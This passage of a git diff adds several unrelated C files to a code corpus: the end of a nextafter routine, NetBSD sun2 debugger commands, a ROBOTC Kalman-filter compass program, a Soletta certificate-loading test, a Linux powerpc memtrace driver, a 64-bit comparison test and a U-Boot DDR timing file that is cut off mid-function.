+    if (hx > hy || ((hx == hy) && (lx > ly)))
+    { /* x > y, x -= ulp */
+      if (lx == 0)
+      {
+        hx -= 1;
+      }
+
+      lx -= 1;
+    }
+    else
+    { /* x < y, x += ulp */
+      lx += 1;
+
+      if (lx == 0)
+      {
+        hx += 1;
+      }
+    }
+  }
+  else
+  { /* x < 0 */
+    if (hy >= 0 || hx > hy || ((hx == hy) && (lx > ly)))
+    { /* x < y, x -= ulp */
+      if (lx == 0)
+      {
+        hx -= 1;
+      }
+
+      lx -= 1;
+    }
+    else
+    { /* x > y, x += ulp */
+      lx += 1;
+
+      if (lx == 0)
+      {
+        hx += 1;
+      }
+    }
+  }
+
+  hy = hx & 0x7ff00000;
+
+  if (hy >= 0x7ff00000)
+  {
+    return x + x; /* overflow */
+  }
+
+  if (hy < 0x00100000)
+  { /* underflow */
+    y = x * x;
+    if (y != x)
+    { /* raise underflow flag */
+      ret.as_int.hi = hx;
+      ret.as_int.lo = lx;
+      return ret.dbl;
+    }
+  }
+
+  ret.as_int.hi = hx;
+  ret.as_int.lo = lx;
+  return ret.dbl;
+} /* nextafter */
diff --git a/pool/shard001/C/0023036_db_machdep.c b/pool/shard001/C/0023036_db_machdep.c
new file mode 100644
index 0000000000000000000000000000000000000000..355e712ee41b90d0dfe2716db0fece1126b736cc
--- /dev/null
+++ b/pool/shard001/C/0023036_db_machdep.c
@@ -0,0 +1,158 @@
+/*	$NetBSD: db_machdep.c,v 1.2 2001/06/11 21:35:59 fredette Exp $	*/
+
+/*-
+ * Copyright (c) 1996 The NetBSD Foundation, Inc.
+ * All rights reserved.
+ *
+ * This code is derived from software contributed to The NetBSD Foundation
+ * by Gordon W. Ross.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. All advertising materials mentioning features or use of this software
+ *    must display the following acknowledgement:
+ *        This product includes software developed by the NetBSD
+ *        Foundation, Inc. and its contributors.
+ * 4. Neither the name of The NetBSD Foundation nor the names of its
+ *    contributors may be used to endorse or promote products derived
+ *    from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
+ * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+ * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
+ * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ */
+
+/*
+ * Machine-dependent functions used by ddb
+ */
+
+#include <sys/param.h>
+#include <sys/proc.h>
+
+#include <machine/db_machdep.h>
+#include <machine/promlib.h>
+#include <machine/pte.h>
+
+#include <sun2/sun2/machdep.h>
+#include <sun2/sun2/control.h>
+
+#include <ddb/db_command.h>
+#include <ddb/db_output.h>
+#include <ddb/db_interface.h>
+
+static void db_mach_abort   __P((db_expr_t, int, db_expr_t, char *));
+static void db_mach_halt    __P((db_expr_t, int, db_expr_t, char *));
+static void db_mach_reboot  __P((db_expr_t, int, db_expr_t, char *));
+static void db_mach_pagemap __P((db_expr_t, int, db_expr_t, char *));
+
+const struct db_command db_machine_command_table[] = {
+	{ "abort",	db_mach_abort,	0,	0 },
+	{ "halt",	db_mach_halt,	0,	0 },
+	{ "pgmap",	db_mach_pagemap, 	CS_SET_DOT, 0 },
+	{ "reboot",	db_mach_reboot,	0,	0 },
+	{ (char *)0, }
+};
+
+/*
+ * Machine-specific ddb commands for the sun2:
+ *    abort:	Drop into monitor via abort (allows continue)
+ *    halt: 	Exit to monitor as in halt(8)
+ *    reboot:	Reboot the machine as in reboot(8)
+ *    pgmap:	Given addr, Print addr, segmap, pagemap, pte
+ */
+
+static void
+db_mach_abort(addr, have_addr, count, modif)
+	db_expr_t	addr;
+	int		have_addr;
+	db_expr_t	count;
+	char *		modif;
+{
+	prom_abort();
+}
+
+static void
+db_mach_halt(addr, have_addr, count, modif)
+	db_expr_t	addr;
+	int		have_addr;
+	db_expr_t	count;
+	char *		modif;
+{
+	prom_halt();
+}
+
+static void
+db_mach_reboot(addr, have_addr, count, modif)
+	db_expr_t	addr;
+	int		have_addr;
+	db_expr_t	count;
+	char *		modif;
+{
+	prom_boot("");
+}
+
+
+static void pte_print __P((int));
+
+static void
+db_mach_pagemap(addr, have_addr, count, modif)
+	db_expr_t	addr;
+	int		have_addr;
+	db_expr_t	count;
+	char *		modif;
+{
+	u_long va = m68k_trunc_page((u_long)addr);
+	int pte;
+	int sme;
+
+	sme = get_segmap(va);
+	if (sme == 0xFF) pte = 0;
+	else pte = get_pte(va);
+	db_printf("0x%08lx [%02x] 0x%08x", va, sme, pte);
+
+	pte_print(pte);
+	db_next = va + NBPG;
+}
+
+static void
+pte_print(pte)
+	int pte;
+{
+	int t;
+	static char *pgt_names[] = {
+		"MEM", "OBIO", "VME0", "VME8",
+	};
+
+	if (pte & PG_VALID) {
+		db_printf(" V");
+		if (pte & PG_WRITE)
+			db_printf(" W");
+		if (pte & PG_SYSTEM)
+			db_printf(" S");
+		if (pte & PG_NC)
+			db_printf(" NC");
+		if (pte & PG_REF)
+			db_printf(" Ref");
+		if (pte & PG_MOD)
+			db_printf(" Mod");
+
+		t = (pte >> PG_TYPE_SHIFT) & 3;
+		db_printf(" %s", pgt_names[t]);
+		db_printf(" PA=0x%x\n", PG_PA(pte));
+	}
+	else db_printf(" INVALID\n");
+}
diff --git a/pool/shard001/C/0023042_kalman1.c b/pool/shard001/C/0023042_kalman1.c
new file mode 100644
index 0000000000000000000000000000000000000000..571dcdd0e7cf75acb80aca336b6dff040b571fe5
--- /dev/null
+++ b/pool/shard001/C/0023042_kalman1.c
@@ -0,0 +1,171 @@
+#pragma config(Sensor, S1,     AIMU,           sensorI2CCustom9V)
+#pragma config(Sensor, S2,     COMPASS,        sensorI2CHiTechnicCompass)
+//*!!Code automatically generated by 'ROBOTC' configuration wizard               !!*//
+
+/*************************************************************************************************\
+*																																																	*
+* PROGRAM: Heading    	      																																		*
+* VERSION: 0																																											*
+* PURPOSE: This program integrates gyro and compass readings using a Kalman filter to get a more	*
+*					 accurate value for heading                     																				*
+* AUTHOR:	 Aswin Bouwmeester (aswin.bouwmeester@gmail.com)																				*
+* MODIFIED:mike partain (http://www.spiked3.com)																				          *
+* DATE:		 okt 10, 2010, aug 27, 2012																															*
+*																																																	*
+\*************************************************************************************************/
+
+/*
+variance for the gyro sensor for different sample sizes
+
+N   T   var
+1	  5	  0,222
+2	  10	0,144
+3	  15	0,123
+4	  20	0,119
+5	  25	0,114
+6	  30	0,088
+8	  40	0,093
+10	50	0,078
+*/
+
+// seems to follow, if I move the compass slowly
+// as soon as I move it quick, it reports as 'disturbed' and sometimes catches back up, sometimes not
+// how did we get the variances? (i see how they are used, but where did they come from?)
+// answer: http://bilgin.esme.org/BitsBytes/KalmanFilterforDummies.aspx
+//		is on that web page although I'm still not 100% understanding it
+// and obviously, why does it sometimes settle back to undisturbed, and sometimes not?
+
+#include "drivers/MSIMU-driver.h"
+
+#pragma autoStartTasks
+#define HEADING_DISPLAY
+
+// MOUNTING can be set to - if the compass or the gyro is mouned upside down
+#ifndef MOUNTING
+#define MOUNTING
+#endif
+
+float meanGyroZValue(int interval, int N);
+float meanHeadingValue(int interval, int N);
+float heading = -1.0;
+
+task getheading()
+{
+	writeDebugStreamLine("*getheading");
+	float var_compass  =  0.9,
+	var_gyro = 0.119,
+	var_filter_predicted,
+	var_filter_updated,
+	kalman_gain,
+	compass_measured,
+	compass_predicted,
+	compass_updated,
+	gyro_measured,
+	time_span,
+	offset;
+
+	long time_start, time_end;
+
+	bool disturbed;
+
+	// get the gyro offset
+	offset = meanGyroZValue(5,100);
+	writeDebugStreamLine("gyr offs %f", offset);
+
+	// initialise the filter;
+	compass_updated = SensorValue[COMPASS];
+	var_filter_updated = 0;
+
+	// Run the filter forever;
+	while (true)
+	{
+		// get time span;
+		time_end = nPgmTime;
+		time_span = ((float)(time_end - time_start)) / 1000.0;
+		if (time_span <= 0) {
+			time_span = 0.02; // this is to compensate for wrapping around the nPgmtime variable;
+			writeDebugStreamLine("time span wrap");
+		}
+	  time_start = nPgmTime;
+
+		// get measurements from sensors
+		// (when changing the sample size of the gyro, one must also change the variance)
+		compass_measured = (float)SensorValue[COMPASS];
+		gyro_measured = MOUNTING ( meanGyroZValue(5,4) - offset);
+
+		// predict;
+		compass_predicted = compass_updated + time_span * gyro_measured;
+		var_filter_predicted = var_filter_updated + var_gyro;
+
+		// heading must be between 0 and 359
+		if (compass_predicted < 0)
+			compass_predicted += 360;
+		if (compass_predicted >= 360)
+			compass_predicted -= 360;
+
+		// Detect _compass disturbance;
+		if (abs(compass_predicted - compass_measured) > 2 * sqrt(var_filter_predicted))
+			disturbed = true;
+		else
+			disturbed = false;
+
+		// get Kalman gain;
+		if (disturbed)
+			kalman_gain = 0;
+		else
+			kalman_gain = var_filter_predicted / (var_filter_predicted + var_compass);
+
+		// update;
+		compass_updated = compass_predicted + kalman_gain * (compass_measured - compass_predicted);
+		var_filter_updated = var_filter_predicted + kalman_gain * (var_compass - var_filter_predicted);
+
+		// make result available gobally
+		heading = compass_updated;
+
+		// display informatin about filter
+
+#ifdef HEADING_DISPLAY
+		nxtDisplayTextLine(0,"Heading filter");
+		nxtDisplayTextLine(1,"Heading  : %3.0f",compass_updated);
+		nxtDisplayTextLine(2,"Compass  : %3.0f",compass_measured);
+		nxtDisplayTextLine(3,"Variance : %6f",var_filter_updated);
+		nxtDisplayTextLine(4,"Disturbed: %1d  ",disturbed);
+#endif
+
+		// wait for next iteration;
+		wait1Msec(0);
+	}
+}
+
+float meanGyroZValue(int interval, int N)
+{
+	float som = 0;
+	for(int i = 0; i < N; i++)
+	{
+		som +=  (float)MSIMUreadGyroZAxis(AIMU);
+		wait1Msec(interval);
+	}
+	som = som / N;
+	return som;
+}
+
+float meanHeadingValue(int interval, int N)
+{
+	float som = 0;
+	for(int i = 0; i < N; i++)
+	{
+		som += (float)SensorValue[COMPASS];
+		wait1Msec(interval);
+	}
+	som = som / N;
+	return som;
+}
+
+task main()
+{
+	writeDebugStreamLine("*main");
+	while (true)
+	{
+		wait1Msec(1000);
+	}
+}
diff --git a/pool/shard001/C/0023052_test-certificate.c b/pool/shard001/C/0023052_test-certificate.c
new file mode 100644
index 0000000000000000000000000000000000000000..87c3104295ff8118c5f49227857e5726cd9bc986
--- /dev/null
+++ b/pool/shard001/C/0023052_test-certificate.c
@@ -0,0 +1,119 @@
+/*
+ * This file is part of the Soletta (TM) Project
+ *
+ * Copyright (C) 2015 Intel Corporation. All rights reserved.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdio.h>
+
+#include "sol-certificate.h"
+#include "sol-mainloop.h"
+#include "sol-util-internal.h"
+
+#include "test.h"
+
+const char dummy_cert[] =
+    "-----BEGIN CERTIFICATE-----\n"
+    "MIIDXTCCAkWgAwIBAgIJAPVrKaY8Ra57MA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV\n"
+    "BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX\n"
+    "aWRnaXRzIFB0eSBMdGQwHhcNMTUxMTA0MTkyODMzWhcNMTUxMjA0MTkyODMzWjBF\n"
+    "MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50\n"
+    "ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB\n"
+    "CgKCAQEAuBuzH33BlrlxxSJ5J8kQ2Nwun/G3ygIVBZj2cKEt2zNg7yHren9x4frO\n"
+    "PYPUumy3ipR3lQVKcd76dV71p5CP476X0aQZoF01t96RVYNBYRtoHn32i2dVkM0i\n"
+    "EdUqAXlM+1LjdRs85vk4fB1cr9BrY6lsUXFa12cwVLT4edDmgGtsyC3Ho51X6Rtr\n"
+    "+JAcQJ3jobIl8bM0gT8vzJKJEDaEWQkYpsOegMqjXqhVvLw4Ee5A4GbEM6nkgEDm\n"
+    "8SzZ49raUjYnSF0xp1Cg8S5pBcm+lIhkHNbVHmHPgvmwYfHN59PoGRreZLPtUeD6\n"
+    "1p7dkz9N/ovZweKshrUjLsyz1USRhwIDAQABo1AwTjAdBgNVHQ4EFgQUQT5BxbUo\n"
+    "fjjVBiw57eJAXx/dQXgwHwYDVR0jBBgwFoAUQT5BxbUofjjVBiw57eJAXx/dQXgw\n"
+    "DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAMlHQjYuRnuxf9YLUTRPW\n"
+    "Kq4x9xkliQukfWf9nQ4U9mrNfYoJph6e7ZrCTJ3OZ6OIU9Kr3ygskuPkSzc06aCv\n"
+    "3/W7rmJsVjYBghz54RQJNTKWpe3il6MLlqI0rWwzBt+PJYBOfMSzEbGvkxKF7w5a\n"
+    "Pd7EPKZvoGfrGZ+Prmeeawm4gHAVnJfIvNw+my8F8Tre+B7HGnCq0H8dsgRxuRIb\n"
+    "/yTUmuhW4JCYSV6ZwmUjGVpGDNPsQMy6YTt7DUpUR/l5vSgbVrzUecxT1UPH6D9o\n"
+    "AH7+gfGW+ITynDVNSl6RPvtEK5mLmDvfINcjPo85EgWw3DpWUDJlGDWguVkbTYtN\n"
+    "2A==\n"
+    "-----END CERTIFICATE-----\n";
+
+static void
+create_dummy_certificate(void)
+{
+    FILE *fp = fopen("dummy.pem", "w");
+    int r;
+
+    ASSERT(fp != NULL);
+
+    r = fprintf(fp, "%s", dummy_cert);
+
+    ASSERT(r >= 0);
+
+    fclose(fp);
+}
+
+DEFINE_TEST(load_certificate);
+
+static void
+load_certificate(void)
+{
+    struct sol_cert *cert;
+    const char *filename;
+
+    create_dummy_certificate();
+
+    cert = sol_cert_load_from_id("dummy.pem");
+    ASSERT(cert != NULL);
+
+    filename = sol_cert_get_file_name(cert);
+    ASSERT(filename != NULL);
+    ASSERT(streq(filename, "dummy.pem"));
+
+    sol_cert_unref(cert);
+    remove("dummy.pem");
+}
+
+DEFINE_TEST(read_write_certificate);
+
+static void
+read_write_certificate(void)
+{
+    struct sol_cert *cert;
+    struct sol_blob *blob;
+
+    create_dummy_certificate();
+
+    cert = sol_cert_load_from_id("dummy.pem");
+    ASSERT(cert != NULL);
+
+    blob = sol_cert_get_contents(cert);
+    ASSERT(blob != NULL);
+    ASSERT(streq(dummy_cert, blob->mem));
+
+    ASSERT(sol_cert_write_contents("dummy2.pem",
+        SOL_STR_SLICE_STR(blob->mem, blob->size)) == (ssize_t)blob->size);
+    sol_blob_unref(blob);
+    sol_cert_unref(cert);
+
+    cert = sol_cert_load_from_id("dummy2.pem");
+    ASSERT(cert != NULL);
+    blob = sol_cert_get_contents(cert);
+    ASSERT(blob != NULL);
+    ASSERT(streq(dummy_cert, blob->mem));
+
+    sol_blob_unref(blob);
+    sol_cert_unref(cert);
+    remove("dummy.pem");
+}
+
+TEST_MAIN();
diff --git a/pool/shard001/C/0023054_memtrace.c b/pool/shard001/C/0023054_memtrace.c
new file mode 100644
index 0000000000000000000000000000000000000000..eb2e75dac369a4fc6e658b5088d408a375df1428
--- /dev/null
+++ b/pool/shard001/C/0023054_memtrace.c
@@ -0,0 +1,325 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) IBM Corporation, 2014, 2017
+ * Anton Blanchard, Rashmica Gupta.
+ */
+
+#define pr_fmt(fmt) "memtrace: " fmt
+
+#include <linux/bitops.h>
+#include <linux/string.h>
+#include <linux/memblock.h>
+#include <linux/init.h>
+#include <linux/moduleparam.h>
+#include <linux/fs.h>
+#include <linux/debugfs.h>
+#include <linux/slab.h>
+#include <linux/memory.h>
+#include <linux/memory_hotplug.h>
+#include <linux/numa.h>
+#include <asm/machdep.h>
+#include <asm/debugfs.h>
+
+/* This enables us to keep track of the memory removed from each node. */
+struct memtrace_entry {
+	void *mem;
+	u64 start;
+	u64 size;
+	u32 nid;
+	struct dentry *dir;
+	char name[16];
+};
+
+static u64 memtrace_size;
+
+static struct memtrace_entry *memtrace_array;
+static unsigned int memtrace_array_nr;
+
+
+static ssize_t memtrace_read(struct file *filp, char __user *ubuf,
+			     size_t count, loff_t *ppos)
+{
+	struct memtrace_entry *ent = filp->private_data;
+
+	return simple_read_from_buffer(ubuf, count, ppos, ent->mem, ent->size);
+}
+
+static const struct file_operations memtrace_fops = {
+	.llseek = default_llseek,
+	.read	= memtrace_read,
+	.open	= simple_open,
+};
+
+static int check_memblock_online(struct memory_block *mem, void *arg)
+{
+	if (mem->state != MEM_ONLINE)
+		return -1;
+
+	return 0;
+}
+
+static int change_memblock_state(struct memory_block *mem, void *arg)
+{
+	unsigned long state = (unsigned long)arg;
+
+	mem->state = state;
+
+	return 0;
+}
+
+/* called with device_hotplug_lock held */
+static bool memtrace_offline_pages(u32 nid, u64 start_pfn, u64 nr_pages)
+{
+	const unsigned long start = PFN_PHYS(start_pfn);
+	const unsigned long size = PFN_PHYS(nr_pages);
+
+	if (walk_memory_blocks(start, size, NULL, check_memblock_online))
+		return false;
+
+	walk_memory_blocks(start, size, (void *)MEM_GOING_OFFLINE,
+			   change_memblock_state);
+
+	if (offline_pages(start_pfn, nr_pages)) {
+		walk_memory_blocks(start, size, (void *)MEM_ONLINE,
+				   change_memblock_state);
+		return false;
+	}
+
+	walk_memory_blocks(start, size, (void *)MEM_OFFLINE,
+			   change_memblock_state);
+
+
+	return true;
+}
+
+static u64 memtrace_alloc_node(u32 nid, u64 size)
+{
+	u64 start_pfn, end_pfn, nr_pages, pfn;
+	u64 base_pfn;
+	u64 bytes = memory_block_size_bytes();
+
+	if (!node_spanned_pages(nid))
+		return 0;
+
+	start_pfn = node_start_pfn(nid);
+	end_pfn = node_end_pfn(nid);
+	nr_pages = size >> PAGE_SHIFT;
+
+	/* Trace memory needs to be aligned to the size */
+	end_pfn = round_down(end_pfn - nr_pages, nr_pages);
+
+	lock_device_hotplug();
+	for (base_pfn = end_pfn; base_pfn > start_pfn; base_pfn -= nr_pages) {
+		if (memtrace_offline_pages(nid, base_pfn, nr_pages) == true) {
+			/*
+			 * Remove memory in memory block size chunks so that
+			 * iomem resources are always split to the same size and
+			 * we never try to remove memory that spans two iomem
+			 * resources.
+			 */
+			end_pfn = base_pfn + nr_pages;
+			for (pfn = base_pfn; pfn < end_pfn; pfn += bytes>> PAGE_SHIFT) {
+				__remove_memory(nid, pfn << PAGE_SHIFT, bytes);
+			}
+			unlock_device_hotplug();
+			return base_pfn << PAGE_SHIFT;
+		}
+	}
+	unlock_device_hotplug();
+
+	return 0;
+}
+
+static int memtrace_init_regions_runtime(u64 size)
+{
+	u32 nid;
+	u64 m;
+
+	memtrace_array = kcalloc(num_online_nodes(),
+				sizeof(struct memtrace_entry), GFP_KERNEL);
+	if (!memtrace_array) {
+		pr_err("Failed to allocate memtrace_array\n");
+		return -EINVAL;
+	}
+
+	for_each_online_node(nid) {
+		m = memtrace_alloc_node(nid, size);
+
+		/*
+		 * A node might not have any local memory, so warn but
+		 * continue on.
+		 */
+		if (!m) {
+			pr_err("Failed to allocate trace memory on node %d\n", nid);
+			continue;
+		}
+
+		pr_info("Allocated trace memory on node %d at 0x%016llx\n", nid, m);
+
+		memtrace_array[memtrace_array_nr].start = m;
+		memtrace_array[memtrace_array_nr].size = size;
+		memtrace_array[memtrace_array_nr].nid = nid;
+		memtrace_array_nr++;
+	}
+
+	return 0;
+}
+
+static struct dentry *memtrace_debugfs_dir;
+
+static int memtrace_init_debugfs(void)
+{
+	int ret = 0;
+	int i;
+
+	for (i = 0; i < memtrace_array_nr; i++) {
+		struct dentry *dir;
+		struct memtrace_entry *ent = &memtrace_array[i];
+
+		ent->mem = ioremap(ent->start, ent->size);
+		/* Warn but continue on */
+		if (!ent->mem) {
+			pr_err("Failed to map trace memory at 0x%llx\n",
+				 ent->start);
+			ret = -1;
+			continue;
+		}
+
+		snprintf(ent->name, 16, "%08x", ent->nid);
+		dir = debugfs_create_dir(ent->name, memtrace_debugfs_dir);
+		if (!dir) {
+			pr_err("Failed to create debugfs directory for node %d\n",
+				ent->nid);
+			return -1;
+		}
+
+		ent->dir = dir;
+		debugfs_create_file("trace", 0400, dir, ent, &memtrace_fops);
+		debugfs_create_x64("start", 0400, dir, &ent->start);
+		debugfs_create_x64("size", 0400, dir, &ent->size);
+	}
+
+	return ret;
+}
+
+static int online_mem_block(struct memory_block *mem, void *arg)
+{
+	return device_online(&mem->dev);
+}
+
+/*
+ * Iterate through the chunks of memory we have removed from the kernel
+ * and attempt to add them back to the kernel.
+ */
+static int memtrace_online(void)
+{
+	int i, ret = 0;
+	struct memtrace_entry *ent;
+
+	for (i = memtrace_array_nr - 1; i >= 0; i--) {
+		ent = &memtrace_array[i];
+
+		/* We have onlined this chunk previously */
+		if (ent->nid == NUMA_NO_NODE)
+			continue;
+
+		/* Remove from io mappings */
+		if (ent->mem) {
+			iounmap(ent->mem);
+			ent->mem = 0;
+		}
+
+		if (add_memory(ent->nid, ent->start, ent->size)) {
+			pr_err("Failed to add trace memory to node %d\n",
+				ent->nid);
+			ret += 1;
+			continue;
+		}
+
+		/*
+		 * If kernel isn't compiled with the auto online option
+		 * we need to online the memory ourselves.
+		 */
+		if (!memhp_auto_online) {
+			lock_device_hotplug();
+			walk_memory_blocks(ent->start, ent->size, NULL,
+					   online_mem_block);
+			unlock_device_hotplug();
+		}
+
+		/*
+		 * Memory was added successfully so clean up references to it
+		 * so on reentry we can tell that this chunk was added.
+		 */
+		debugfs_remove_recursive(ent->dir);
+		pr_info("Added trace memory back to node %d\n", ent->nid);
+		ent->size = ent->start = ent->nid = NUMA_NO_NODE;
+	}
+	if (ret)
+		return ret;
+
+	/* If all chunks of memory were added successfully, reset globals */
+	kfree(memtrace_array);
+	memtrace_array = NULL;
+	memtrace_size = 0;
+	memtrace_array_nr = 0;
+	return 0;
+}
+
+static int memtrace_enable_set(void *data, u64 val)
+{
+	u64 bytes;
+
+	/*
+	 * Don't attempt to do anything if size isn't aligned to a memory
+	 * block or equal to zero.
+	 */
+	bytes = memory_block_size_bytes();
+	if (val & (bytes - 1)) {
+		pr_err("Value must be aligned with 0x%llx\n", bytes);
+		return -EINVAL;
+	}
+
+	/* Re-add/online previously removed/offlined memory */
+	if (memtrace_size) {
+		if (memtrace_online())
+			return -EAGAIN;
+	}
+
+	if (!val)
+		return 0;
+
+	/* Offline and remove memory */
+	if (memtrace_init_regions_runtime(val))
+		return -EINVAL;
+
+	if (memtrace_init_debugfs())
+		return -EINVAL;
+
+	memtrace_size = val;
+
+	return 0;
+}
+
+static int memtrace_enable_get(void *data, u64 *val)
+{
+	*val = memtrace_size;
+	return 0;
+}
+
+DEFINE_SIMPLE_ATTRIBUTE(memtrace_init_fops, memtrace_enable_get,
+					memtrace_enable_set, "0x%016llx\n");
+
+static int memtrace_init(void)
+{
+	memtrace_debugfs_dir = debugfs_create_dir("memtrace",
+						  powerpc_debugfs_root);
+	if (!memtrace_debugfs_dir)
+		return -1;
+
+	debugfs_create_file("enable", 0600, memtrace_debugfs_dir,
+			    NULL, &memtrace_init_fops);
+
+	return 0;
+}
+machine_device_initcall(powernv, memtrace_init);
diff --git a/pool/shard001/C/0023055_comparisons.c b/pool/shard001/C/0023055_comparisons.c
new file mode 100644
index 0000000000000000000000000000000000000000..fda9c9e0d9740629eee9a9db0598409017d448f5
--- /dev/null
+++ b/pool/shard001/C/0023055_comparisons.c
@@ -0,0 +1,50 @@
+//Test of boolean operators on values larger than int.
+
+#include "testharness.h"
+
+#ifdef _MSC_VER //Microsoft
+# define int64_t __int64
+#else
+# include "sys/types.h"
+#endif
+int main () {
+
+  int64_t a64, b64;
+  float f;
+  double d;
+  int* p = 0;
+
+  int64_t bignum = 1;	 // compute 2^40 - this would be truncated
+  bignum = bignum << 40; // to zero if cast to int (typically)
+
+
+  a64 = 42;
+  b64 = a64 + bignum;
+  //a64 = b64 modulo 2^32
+
+  if (a64 == b64) {
+    E(1);
+  }
+  if (a64 >= b64) {
+    E(2);
+  }
+  if ((a64|bignum) == a64)
+    E(3);
+
+  if (! bignum) {
+    E(5);
+  }
+
+  f = 0.125f;
+  if (!f)
+    E(10);
+  if (f >= 0.25f)
+    E(11);
+
+  d = 0.125;
+  if (d < f || d > f)
+    E(12);
+
+
+  SUCCESS;
+}
diff --git a/pool/shard001/C/0023058_ddr.c b/pool/shard001/C/0023058_ddr.c
new file mode 100644
index 0000000000000000000000000000000000000000..3a6e297f457173dae9cd1610a5044fe732781d81
--- /dev/null
+++ b/pool/shard001/C/0023058_ddr.c
@@ -0,0 +1,140 @@
+/*
+ * Copyright 2009 Extreme Engineering Solutions, Inc.
+ * Copyright 2007-2008 Freescale Semiconductor, Inc.
+ *
+ * See file CREDITS for list of people who contributed to this
+ * project.
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.	 See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston,
+ * MA 02111-1307 USA
+ */
+
+#include <common.h>
+#include <i2c.h>
+#include <asm/fsl_ddr_sdram.h>
+#include <asm/fsl_ddr_dimm_params.h>
+
+void get_spd(ddr2_spd_eeprom_t *spd, u8 i2c_address)
+{
+	i2c_read(i2c_address, SPD_EEPROM_OFFSET, 2, (uchar *)spd,
+		sizeof(ddr2_spd_eeprom_t));
+}
+
+/*
+ * There are four board-specific SDRAM timing parameters which must be
+ * calculated based on the particular PCB artwork.  These are:
+ *   1.) CPO (Read Capture Delay)
+ *           - TIMING_CFG_2 register
+ *           Source: Calculation based on board trace lengths and
+ *                   chip-specific internal delays.
+ *   2.) WR_DATA_DELAY (Write Command to Data Strobe Delay)
+ *           - TIMING_CFG_2 register
+ *           Source: Calculation based on board trace lengths.
+ *                   Unless clock and DQ lanes are very different
+ *                   lengths (>2"), this should be set to the nominal value
+ *                   of 1/2 clock delay.
+ *   3.) CLK_ADJUST (Clock and Addr/Cmd alignment control)
+ *           - DDR_SDRAM_CLK_CNTL register
+ *           Source: Signal Integrity Simulations
+ *   4.) 2T Timing on Addr/Ctl
+ *           - TIMING_CFG_2 register
+ *           Source: Signal Integrity Simulations
+ *           Usually only needed with heavy load/very high speed (>DDR2-800)
+ *
+ *     PCB routing on the XPedite5170 is nearly identical to the XPedite5370
+ *     so we use the XPedite5370 settings as a basis for the XPedite5170.
+ */
+
+typedef struct board_memctl_options {
+	uint16_t datarate_mhz_low;
+	uint16_t datarate_mhz_high;
+	uint8_t clk_adjust;
+	uint8_t cpo_override;
+	uint8_t write_data_delay;
+} board_memctl_options_t;
+
+static struct board_memctl_options bopts_ctrl[][2] = {
+	{
+		/* Controller 0 */
+		{
+			/* DDR2 600/667 */
+			.datarate_mhz_low	= 500,
+			.datarate_mhz_high	= 750,
+			.clk_adjust		= 5,
+			.cpo_override		= 8,
+			.write_data_delay	= 2,
+		},
+		{
+			/* DDR2 800 */
+			.datarate_mhz_low	= 750,
+			.datarate_mhz_high	= 850,
+			.clk_adjust		= 5,
+			.cpo_override		= 9,
+			.write_data_delay	= 2,
+		},
+	},
+	{
+		/* Controller 1 */
+		{
+			/* DDR2 600/667 */
+			.datarate_mhz_low	= 500,
+			.datarate_mhz_high	= 750,
+			.clk_adjust		= 5,
+			.cpo_override		= 7,
+			.write_data_delay	= 2,
+		},
+		{
+			/* DDR2 800 */
+			.datarate_mhz_low	= 750,
+			.datarate_mhz_high	= 850,
+			.clk_adjust		= 5,
+			.cpo_override		= 8,
+			.write_data_delay	= 2,
+		},
+	},
+};
+
+void fsl_ddr_board_options(memctl_options_t *popts,
+			dimm_params_t *pdimm,
+			unsigned int ctrl_num)
+{
+	struct board_memctl_options *bopts = bopts_ctrl[ctrl_num];
+	sys_info_t sysinfo;
+	int i;
+	unsigned int datarate;
+
+	get_sys_info(&sysinfo);
+	datarate = get_ddr_freq(0) / 1000000;
+
